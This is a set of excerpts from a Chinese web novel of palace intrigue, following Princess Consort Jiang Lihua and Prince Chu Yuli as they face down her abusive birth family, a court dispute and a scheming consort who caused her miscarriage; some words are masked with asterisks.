坐在楚御礼怀中的姜黎婳双颊绯红,她想挣开楚御礼的怀抱坐回自己的位置,却被对方紧紧抱住腰肢,楚御礼把下巴放在她的肩窝上,低声道:“婳儿,我喜欢听你在我面前称我。”
想到方才自己说话时,他带笑注视着自己的模样,姜黎婳眼眸微动,低声问,“殿下不会觉得我失礼?”
“你我夫妇,哪来失礼一说?”他目光幽幽的注视着她白嫩的耳垂,声音沙哑,“以后在我面前,别自称妾身,好吗?”
“好。”
楚御礼在她耳垂上亲了亲,这才松开了她。
......
姜宅坐落在城南一处清幽的巷子中,巷子的街道两旁种满了槐花树,所以这条巷子叫槐树巷。
城南商贾平民居多,处处是闹市。
姜宅所在的槐树巷也是有钱的商贾或者有点实力的京官才能住得起的地方。
一路从城西到城南几乎穿过了整个京城,两人到姜宅的时候都已经是晌午了。
站在姜宅的门前,姜黎婳深深地吸了口气,她回头看着在槐树下站着的楚御礼,他是一个很好的人,她相信他。
在心头下定了决心,姜黎婳抬手敲响了姜宅的大门。
“来了!”
没一会儿,大门被人从里面打开。
虽然上了年纪,仪态却依旧很好的妇人站在门内,她见到姜黎婳的瞬间,脸上就浮现出惊喜的神情,“小姐!您回来了!”
“阿妈。”姜黎婳红着眼,轻轻地喊了小时候才喊的称呼。
佩玉听她这么喊自己,也顾不上让她先进屋了,她跨出门槛,拉着姜黎婳上下打量,语气也充满了担忧,“是不是他们苏家欺负小姐了?”
姜黎婳轻轻摇头,“我就是太想你们了。”
“我们
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也想您。”佩玉拉着姜黎婳往宅子里面走,“今早铃铛和知夏还在念叨您呢。”
“等一下。”姜黎婳还算有良心,没有忘记还站在槐树下的楚御礼,她回眸指着楚御礼,“那是我夫君....”
佩玉朝楚御礼看过去,那位一表人才,仪表堂堂、样貌不凡的人是她们姑爷?
她激动地打断姜黎婳的话,笑着道:“咱们姑爷长得可真俊!”
说罢也顾不上自家小姐了,松开姜黎婳的手赶紧和楚御礼打招呼,“姑爷您别站着了,快进屋!”
“小姐,您怎么成亲也不通知奴婢们一声啊。”佩玉回眸看了一眼姜黎婳,又激动的往外走了两步去迎楚御礼,“姑爷第一次登门,有失远迎,还请姑爷莫怪。”
“无碍。”楚御礼抬步朝台阶上走去。
今日充当车夫的昭临:“......”
佩玉以前可是姜府的管家嬷嬷,为人处世和眼力价儿比宫里的好些嬷嬷都厉害,看到抱着一把短剑靠在马车旁边的昭临,她笑着道:“这位侍卫小哥也快进家中歇歇,天热,我让铃铛准备了凉茶,你进来喝杯茶凉快凉快。”
“不用了,我守着马...”
“马车让马夫牵去后院,让马儿也去马厩吃点东西。”说罢她扬声就喊,“马夫...”
喊了几声没人应,她尴尬的笑了笑,“瞧我激动地都忘了后院有些远,刚刚正巧是要出门买菜才听到你们敲门声的,小哥你稍等一下,我这就去喊马夫过来牵马。”
快步往后院跑去。
还没有介绍完楚御礼身份的姜黎婳,“......”
楚御礼已经走到了她身边,姜黎婳有些尴尬地朝他笑了笑,“这宅子是我入京前爹爹托人买的,爹爹没来京城,我进京之后也没有买仆从,所以伺候的人不多,佩玉嬷嬷平日做事很利索,不这样的。”
“我知道。”楚御礼牵着姜黎婳的手,“走吧。”
姜黎婳咬了咬嘴唇,知道?你才不知道呢。
已经走到后院的佩玉想起自己好像一激动把小姐和姑爷给忘在前院了,她懊恼的拍了一下额头,又想着已经到后院了,干脆先把马夫喊来再说。
姜黎婳带楚御礼回到自己住过两天的院子,可想而知,楚御礼又看了一遍主仆情深的戏,只是瞧着两个容貌漂亮的少女牵着自己娘子的手一直不松开,他眼睛微微眯了起来,心头开始后悔提议把她的婢女接到皇子府照顾她了。
第35章 我是病了,不是**
定国公府。
用了早膳打算去自己的亲生娘亲那里走一趟的苏清欢瞧见刚出门又回来的萧景宴,她心虚让雪儿先出去等自己,自己则迎着萧景宴走了过去,“世子怎么回来了?”
萧景宴瞧她一副外出的打扮,眉梢微挑,“又要回娘家?你也听说大皇子把苏家给砸了?”
苏清欢眼里露出疑惑,有些不解的看着萧景宴,“世子这话是什么意思?”
“你还不知道啊?”萧景宴嘴角勾起一抹似笑非笑的弧度,“咱们那有血性的大皇子,因为自己的大皇子妃被你母亲打了一巴掌,昨晚直接让人把苏府都给砸了,这事儿今早还闹上了朝堂呢,听闻今天这朝堂上很是热闹呢。”
苏清欢的心一瞬间像是被荆棘裹着一样,疼得有些呼吸不过来了,心头对姜黎婳的恨更浓烈了。
她不是苏家打抱不平,只为楚御礼的不公!
为什么?
那个男人明明冷血无情!
前世就连成亲当日他都不曾看她一眼,盖头都是她深更半夜自己揭下来的,可偏偏对她那般冷血无情的男人这一世不但陪着姜黎婳回门,还因为姜黎婳被吕氏打了一巴掌就把苏家都给砸了?
甚至不惜闹到朝堂上,也要为姜黎婳出气?
姜黎婳究竟有什么好的!一个在江南小门小户长大的商户女罢了!凭什么上一世她能风光无限,这一世又能得到那个男人的宠爱?
苏清欢瞬间失去理智,双眼因为嫉妒而变得通红。
萧景宴看着苏清欢的模样,伸手在她眼前晃了晃,语气微冷,“夫人为何这么生气?”
苏清欢被他这语气吓得一激灵,失去的理智立刻回笼,她扯了扯嘴角,语气却带着怨念,“大皇子太过分了,苏府怎么说也是他岳丈家,他怎么能不顾苏家颜面,把苏家给砸了!只是被打了一巴掌,妹妹又不会少一块肉。”
“是吗?”萧景宴似笑非笑盯着苏清欢,“被打的可是大皇子妃呢。”
“妹妹是大皇子妃之前,先是爹娘的女儿啊。”苏清欢语气不自觉的变冷,“她真不懂事,也不知道劝着大皇子一些。”
“这么说夫人很懂事,若你在苏家受了委屈,也不希望为夫替你讨回公道了?”萧景宴手指下意识的搓着手指上的扳指,语气漫不经心,“不然也是不懂事?”
“这不一样。”苏清欢抬眸看着萧景宴,“我希望世子为我讨回公道,但也不会让世子把事情闹得很难看的。”
“是吗?”萧景宴眼中露出无趣的神色,他转身往外走,“你若想回去看看就回去看看吧,为夫还有事,今日要出城一趟。”
把萧景宴送走后,苏清欢也不着急去看自己的亲娘了,吩咐车夫直接回苏府。
朝堂上。
楚御礼眼神凉凉的看了一眼跪在地上哭诉,说自己心狠的苏建明,又看向**自己的御史。
忽地他嗤笑了一声,接着低头拱手恭恭敬敬地对皇帝行了一礼,“父皇,儿臣如今只是病了,不是**。”
楚御礼的病,一直都是皇帝的禁忌,这些年没人敢在皇帝面前说起楚御礼的生死。
此时楚御礼说出这句话,整个朝堂瞬间安静了下来,就连跪在地上哭诉的苏建明都下意识地噤了声。
皇帝在听到楚御礼说这话的时候脸色也阴沉了下去,放在膝盖上的手,更是下意识的握紧。
楚御礼要的效果达到,他抬起头,眼中的冷漠散去,双目不知何时变得通红,眼中还有一丝哀痛,“儿臣如今还活着,他们就敢当着儿臣的面掌掴儿臣的妻子,若儿臣**,他们是不是能到府上直接弄死儿臣的妻子?”
不给苏建明狡辩的机会,楚御礼伸手指着苏建明,“儿臣知道,在他们眼中,儿臣是一个随时会死的病秧子,所以他们不把儿臣和儿臣的妻子放在眼中,但昨日,是苏大人的夫人差人到行宫说身子不爽想见大皇子妃的!
我们夫妇带着太医上门探望,他们却打了大皇子妃,这口气若是不出了,那儿臣就是死也不会瞑目!”
“胡说什么!”皇帝呵斥楚御礼,“什么死不死的!”
“陛下,苏氏藐视皇族,不把皇室威严放在眼中,大殿下只是砸了他们苏家,没有问罪苏家满门,已经是法外开恩了!”镇国侯站了出来跪在地上,义正言辞的对着皇帝道:“请陛下下旨问苏氏大不敬之罪!”
随着镇国侯站出来,承恩公也站了出来,“藐视皇室威严,重伤皇子妃,只是被砸了家是轻的了,还敢闹到朝堂上,让陛下闹心?”他也跪了下去,“请陛下问苏氏大不敬之罪!”
“求陛下看在
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大皇子妃的面上,饶了臣这一次啊!”苏建明已经被吓得浑身都是冷汗了。
他原本想在今日给这个病弱的大皇子一个下马威,让他知道朝臣并不是那么好惹的,没想到最后遭殃的反而是自己!
一直站着没说话的丞相冯胜文这时候站了出来,他躬身行礼,“陛下,大皇子妃是苏大人的女儿,更是吕夫人的亲生女儿,母女之间有个口角激动之下动了手也是情有可原的,应该上升不到藐视皇室威严的罪上来。”
说到这里他笑了笑,“再说了,咱们大皇子已经把苏府砸了,如今气也出了,也没必要小题大做再治罪苏大人了,若陛下因这事治罪了苏大人,岂不是让满朝文武寒心,也让百官不敢把女儿嫁到皇家了?”
他说着看了跪在地上的楚御礼一眼,“大皇子说是不是?”
楚御礼却不吃他这套,只淡淡道:“痛不在冯相身上,冯相自然能劝别人善良,若一个皇子连自己的媳妇都护不住,那满朝文武怕也是不敢把女儿嫁给皇子当媳妇了!”
冯胜文眉头一皱,语气也冷了两分,“大皇子这个意思是非要问罪苏大人?你有没有想过大皇子妃也出自苏家,若苏家被问罪的话,大皇子妃亦然会被牵连。”
“冯相这是有感而发吗?”楚御礼抬起头与冯胜文对视,眼中神色意味不明,“看来二弟的事情没少让冯相费心,难道冯相被二弟的所作所为牵连了?”
提起如今被禁足的楚明暄,冯胜文的脸色更难看了。
皇帝想到自己禁足楚明暄的原因,心情瞬间变得更差,不成器的儿子在外胡作非为,滥杀无辜,而自己从小看好的大皇子,即便知道自己活不久,也从未让他这个父皇费心,如今儿子命不久矣,还被人欺负到了头上,自己这个做父皇的若再不为他出头,他岂不是要被人骑在脖子上欺负了?
皇帝当即冷声喝道:“工部尚书苏建明不敬皇子,藐视皇室,即日起降为工部侍郎,以示惩戒!工部侍郎谢如玉暂代工部尚书一职!”
苏建明听到这个噩耗,整个人仿佛失去了力气,一下子瘫坐在地上。
为什么会这样?
天降大饼的工部侍郎谢如玉则如获至宝一样扑通跪在地上,扬声喊道:“臣,谢主隆恩,吾皇万岁万岁万万岁!”
第130章 三皇子的天塌了
慧妃走了,其他妃嫔也匆匆离开,一时之间长廊上就只剩下了皇后、贤妃和淑妃、楚巍澜几人。
淑妃瞧其他人都走了,也不再继续在地上跪着,她站起来看着皇后,轻笑道:“我与娘娘十几年的姐妹之情,您竟然不信任我。”
皇后面无表情的看着淑妃的表演,“正因为十几年的姐妹之情,我才更痛心,就连澜儿都亲眼看到你的所作所为了,你还在本宫这里狡辩什么?”
楚巍澜缩了缩脖子,不敢去看皇后。
毕竟他母妃这次做得的确过分了,大皇兄如今身子刚好,母妃就去害大皇嫂肚子里面的孩子,这不是明晃晃的写着居心不良几个字嘛...
楚巍澜想到这里忽然福至心灵的看向淑妃,这看过去正和淑妃的目光对上,他好像从自己的母妃眼中看到了野心两个字!
母妃是不是疯了!
她竟然想要让自己当皇储吗?
当皇帝有什么好?
一点自由都没有了!
他一身武艺将来也无用武之地!
他以后当个王爷不好吗?能随时出去玩!还能代替皇兄驰骋沙场!那多好啊!
母妃为什么要把自己困在这小小的皇宫里?因为她不能出宫,所以也不要亲儿子出去看看外面的世界吗?
想到这里楚巍澜的眼神忽然变坚定了起来,他看向淑妃,冷声道:“母妃,无论您在想什么,儿臣是不会如了你的愿的!”
淑妃:“......”
此时她真想亲手把这个糟心儿子给掐死。
皇后挑眉对着楚巍澜道,“如今蓝雨柔只是一介庶人,三皇子即便是她的亲儿子,还是不要唤她母妃较好,以免惹怒了你的父皇。”
说罢她深深地看了淑妃一眼,转身离开。
在她转身的那一瞬间,她的嘴角勾起了一抹畅快的弧度。
蓝雨柔终于得到了她的报应了!
只是...
她的皇孙就这么没了!
蓝雨柔真该死啊!
贤妃看了一眼皇后那稍显落寞的背影,她叹了口气看向蓝雨柔,低声道:“真没想到我们之间看来没什么心机的你,才是心思最深沉的那个,这些年我和皇后都被你骗得好惨啊。”
贤妃深深地看了蓝雨柔一眼,像是想到了什么她往前走了一步,站在蓝雨柔的面前,“你害御王和皇后我可以理解,毕竟御王挡了三皇子的路,但是你为什么...”
贤妃说到这里眼睛骤然变得猩红,她一把握住蓝雨柔的双臂,冷声质问,“你为什么要害瑶儿!我就这么一个女儿!她的存在根本对你和三皇子构不成任何威胁!”
“呵呵。”蓝雨柔听贤妃这么问,忽然笑出了声音,她抬眸和贤妃对视,“你现在才反应过来是不是晚了点?你的女儿已经被嫁去和亲了!”
“为什么?”贤妃的之家嵌入蓝雨柔的皮肤,她眼中闪过一丝杀意,“你为什么要害我们母女分离!”
“因为她毁了我最爱的霓裳羽衣!”淑妃双目赤红,眼底带着疯狂,“她不是说想要一辈子陪在你在这个母妃身边吗?那我就惩罚她一辈子都再见不到你!”
“你这个疯子!”贤妃抬手打了蓝雨柔一巴掌,“她那是不小心,况且当时她也给你道歉认错,并且让人重新给你做衣裳了!”
“可是那天她被皇上夸了懂事,而我被皇上斥责小家子气。”蓝雨柔眼神冰冷的对上贤妃的目光,冷声道:“那我就看看这么懂事的公主在南诏是否能风生水起啊。”
楚巍澜听到这些已经不知道该怎么反应了。
他的记忆中,皇姐对他一直很好,而且皇姐很照顾兄弟姐妹的,对所有的兄弟姐妹都一视同仁,有什么好东西都会先和他们分享,皇姐被嫁到南诏和亲的时候,他还伤心了好一阵子呢。
当时母妃还说皇姐嫁给南诏是为了楚国,还教育他让将来让楚国变得更强大,让楚国的公主再也不用去和亲。
可是现在他听到了什么?
他的皇姐去南诏和亲,是他的母妃设计的?
贤妃只觉得淑妃就是一个疯子,她竟然因为这么一件小事就对一个小女孩怀恨在心这么多年,最后让她远嫁他国,与自己这个母亲再也无法相见。
“不过当初设计这件事情的宫女和太监都被我灭口了,你是如何得知的?”蓝雨柔忽然抬头看着贤妃,“是谁告诉你的?”
贤妃气过之后恢复了平静,她静静地看着淑妃,“我只是想不通当初明明和瑶儿毫无交集的南诏王爷为何指定要瑶儿和亲,所以故意问了你一句。”
“
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你诈我?”淑妃面目变得狰狞,“你刚刚在诈我?”
贤妃冷笑,“你果然聪明。”
她说完怜悯的看了楚巍澜一眼,叹道:“你天性善良却摊上了这么个母亲,真是难为你了,得知这些真相,你接下来怕是睡不好觉了。”
贤妃说完转身就走,蓝雨柔则猖狂的笑出了声,“你懂个屁!我做这一切都是...”
“你都是为了你自己。”贤妃打断了蓝雨柔的话,她停下脚步回头看着蓝雨柔,“你为了自己想要的名利,把自己的想法强加在澜儿这个可怜的孩子身上,你看这孩子,如今都快要被你逼疯了。”
这次她头也不回就走了。
楚巍澜怔怔的回眸看向蓝雨柔,满目苍凉,“今后您就在冷宫里思过吧,我不会去看您的,以后我不会按照您的想法活着,我会按照我的想法活着。”
“我这么做都是为了你!你现在却怪我?”蓝雨柔一把拉住楚巍澜的手,嘶声道:“你对得起我吗?”
“我没有让您那么做!”楚巍澜低吼出声,“我不想读书!不想背功课!也不想当皇储!所以你做的那些事情不是为了我,不过是为了您自己的虚荣心罢了!”
啪...
蓝雨柔狠狠地打了楚巍澜一巴掌,“你怎么这么没出息!”
“对!我就是没出息!”楚巍澜抬头擦了一下嘴角的血迹,抬眸冰冷的看着蓝雨柔,“你有出息就是残害我的手足!害我在手足之间再也无法抬起头做人!你怎么这么狠毒!”
楚巍澜说完转身朝一旁跑去,蓝雨柔想去追,却被几个御林军拦住了去路,“罪人蓝氏,陛下吩咐我们押你去叶落宫。”
蓝雨柔看到站在自己面前的银甲侍卫,尖叫出声。
她事事为了儿子着想,最后竟然被儿子斥责恶毒?那她这么些年都为了什么?
皇后赶到安置姜黎婳的宫殿时,太医已经离开了,姜黎婳也被换了一身衣裳,楚御礼听到皇后的脚步声,他从床边站起身对皇后做了个噤声的动作,抬步和皇后一起走到殿外。
皇后看了一眼还在‘昏睡’的姜黎婳,眼里闪过一丝冷意,“淑妃被打入冷宫了,你告诉婳儿,我会给她报仇的,这些日子你让她好生休养,以后你们还会有孩子的。”
第131章 吕氏想挽回母女之情
皇后安排轿辇送姜黎婳出宫,等他们夫妇离开之后,皇后回了凤仪宫,宫中贤妃已经在等着她了。
皇后有些疲累的揉了揉眉心,由佩蓉扶着到高位上坐下,坐下之后她才看向随着自己回宫而站起来给自己见礼的贤妃,“你有话要说?”
不等贤妃开口,皇后就道:“本宫知道你与蓝雨柔平日里关系很好,但这次我不会放过她的!”
贤妃缓缓跪在地上,她抬眸看着疲累的皇后轻轻摇头,“娘娘,臣妾不是来给她求情的,臣妾是还有一事要告诉娘娘。”
皇后蹙眉,“何事?”
“当年御王那串沉香手串是她帮臣妾找到的,当时她听说您在为御王寻找沉香珠做手串,便说我们也为你尽一份力,但是她手上银钱不够,就提出让臣妾出钱,她让人去找,那手串也经过她的手,若她从一开始与我们交好就怀了其他心思,那御王那串沉香珠可能也有问题。”
皇后冷笑,“不仅是那手串有问题,她送婳儿的龙凤镯也有问题,那龙凤镯有暗格,里面她放了好几种落胎药制成的香丸,婳儿前些日子发现了拿来给本宫看,本宫原本还以为她是被人陷害了,如今看来,她早有预谋想要害死御儿,如今听说御儿身体大好,变等不及了...”
“娘娘!”太监小福子这时候快步从外面走了进来跪在地上,“锦衣卫传消息说太庙后殿着火就是蓝雨柔宫中的陶嬷嬷与刑部尚书府上的人所为,现在人已经被抓到刑部了。”
皇后闻言双手捏着帕子的手指微微收紧,“你回去镇国侯府走一趟,让母亲去承恩公府走一趟,就说刑部尚书府勾结皇妃残害皇子其罪当诛。”
小福子领命而去。
皇后坐在高位上呆愣了半晌,这才看向还跪在地上的贤妃,“你起来吧。”
“当年她不过是一个贵人,因为产下皇子才被封为舒嫔,还是因为娘娘您,她才被封为淑妃的,她简直是忘恩负义!”贤妃想到自己的女儿也是因为蓝雨柔才导致远嫁和亲的,她就恨得牙痒痒,“娘娘,臣妾的瑶儿也是因为她的刻意算计才被南诏王爷惦记上,嫁到南诏和亲的啊!”
她想到之前在行宫,蓝雨柔还拿着太后赏赐姜黎婳的红宝石头面挑拨自己和皇后的关系,她那时候恐怕还想着借刀**,让自己与皇后争斗,她好坐收渔翁之利!
贤妃冷笑着把这些日子觉得蓝雨柔不对劲的地方全都和盘托出,皇后双手狠狠在高几上拍了一下,“本宫容不下她了。”
“交给臣妾来做吧。”贤妃看向皇后,眼中闪过一丝冷漠的光芒,“臣妾想为瑶儿报仇,您也不必脏了自己的手,将来御王与三皇子也不会因此离心。”
她往前走了一步,眼神真诚,“臣妾如今孑然一身,三皇子即便恨臣妾害**他母亲,也影响不了臣妾。”
“你让本宫考虑考虑。”皇后揉了揉眉心,“锦衣卫已经查到了让太庙后殿起火的真凶,就看皇上是不是会心慈手软饶她一命。”
“她固然该死,但有没必要让我们手上脏染上她的脏血。”
即便要让蓝雨柔死,她也不会让人知道是她所为,蓝雨柔还不配让她脏了手。
......
御王府听说姜黎婳参加一个封王大典就被害得落了腹中的胎儿,他们还没有回到府上就听到府中哭成了一片。
姜黎婳被楚御礼抱着回府的时候,张嬷嬷和佩玉两人就哭着迎了上来,两人一个人拿着披风一个人拿着帽子,“快给王妃搭上,小产就跟产子一样,受不得凉,若是受了凉将来会头疼的。”
姜黎婳就这样在炎热的午后被裹得厚厚地安置在了床榻之上,楚御礼瞧着姜黎婳的模样被裹成熊的模样,忍不住轻笑,“自找罪受了吧?”
姜黎婳赶紧把外衫都脱了,然后躺在床上,她摸了摸头上的帽子,眼里闪过小得意,“但淑妃如今完了。”
说到这里姜黎婳往外看了一眼,确认了没人进来,她才压低声音问,“抓到人了吗?”
“冽风若这点小事都办不到,也不配当我的暗卫头领了。”楚御礼伸手揉了揉姜黎婳头上的帽子,“不过我听张嬷嬷他们的意思是让你在这屋中躺一个月,你能行?”
姜黎婳:“......”
听到姜黎婳被害得小产的事情震怒的不只
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是镇国侯府和承恩公府,永宁伯府接到消息后,胡氏就急匆匆的带着孟雪莲母子出门了,三人和仆从匆匆从府中出来就遇到了等在门口的吕月琴母子三人,看到胡氏三人出来,吕月琴连忙上前,“娘,您去御王府看婳儿是吗?”
胡氏皱了皱眉没说话。
孟雪莲让吕静雅扶着胡氏先上马车,自己把吕月琴拉到了一旁,“婳儿刚遭受这种打击定然是不想见到你们的,你们识趣一点,不要去给她添堵。”
吕月琴想到在女儿最需要母亲安慰的时候,自己这个母亲去看望她却成了给她添堵,她就止不住心头难受,“嫂嫂,我求你给婳儿说说吧,我真的知道错了,我以后定会补偿她的。”
“早知今日何必当初。”孟雪莲拂开吕月琴拉着自己的手,“你有什么要我带过去的,我可以帮你把东西带过去,但是我不会告诉婳儿是你让我帮忙带的。”
“有。”吕月琴连忙从刘嬷嬷手上接过自己买的补品,“这些都是我给婳儿买的补身子的东西,嫂嫂你帮忙带给婳儿。”
孟雪莲接过东西递给身边的嬷嬷,带着嬷嬷上了马车朝御王府的方向离开。
吕月琴母子三人看着永宁伯府来开的马车面色各异。
苏承印双手死死的握住,脸色很难看,“妹妹再也不会原谅我们了吗?”
他这些日子不知道是怎么回事,记忆一下子变好了,以前那些他想不起来的苛待姜黎婳的画面总是一幕幕在脑海中重现,每次想起那些画面,他就忍不住扇自己几巴掌。
苏继业脸色也很不好,他那还略显青涩的脸上闪过一丝阴沉,“都是苏清欢他们害的!如果不是苏清欢,我们和姐姐就不会变成现在这样!”
说起苏清欢,苏继业眉头皱了起来,“苏清欢自从那次在苏家遇到之后,就像人间蒸发了一样,完全找不到踪迹了。”
吕月琴听到他这话,冷声道:“找她做什么?我警告你们兄弟二人,若你们敢帮扶苏清欢,以后就当没我这个娘!”
“谁要帮扶她!”苏继业冷声道:“他们把我们害得这么惨,就这么翻过他们真是便宜他们了!”